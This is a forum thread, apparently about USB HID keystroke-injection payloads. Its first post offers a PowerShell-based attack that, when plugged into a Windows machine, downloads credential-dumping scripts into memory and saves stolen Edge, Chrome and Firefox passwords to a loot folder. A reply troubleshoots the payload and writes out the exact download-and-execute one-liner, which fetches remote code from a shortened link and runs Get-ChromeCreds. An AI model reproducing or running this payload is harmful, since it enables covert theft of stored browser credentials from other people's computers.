Was thinking of ways to dump browsercreds without the use Nirsoft programs, so screwing around with some powershell and some scripts i found that dump creds from Edge(IE)/Chrome/FireFox. I combined them into a HID attack that uses powershell to webdl the scripts into memory and execute and store the results \loot\BrowserCreds\%computername%.txt. 

Tested on Win10 with Delays that worked for my laptop , so may need adjusting, let me know of any errors you come across

Hello, i have this problem : 

Get-ChromeCreds : Le terme «Get-ChromeCreds» n'est pas reconnu comme nom d'applet de commande, fonction, fichier de
script ou programme exécutable. Vérifiez l'orthographe du nom, ou si un chemin d'accès existe, vérifiez que le chemin
d'accès est correct et réessayez.
Au caractère Ligne:2 : 73
+ ... ent).DownloadString('http://bit.ly/2nea8tb'); Get-ChromeCreds | ft Us ...
+                                                   ~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (Get-ChromeCreds:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException

So, i isolated the probleme :  this line :  "IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/2nea8tb'); Get-ChromeCreds"

And its working perfectly.

But not with the script. Little translation, it says that Get-ChromeCreds is not a valid function, which i think means he failed to download. But idk why its working when i execute the line myself, and not when the script does it. Thx for help :)
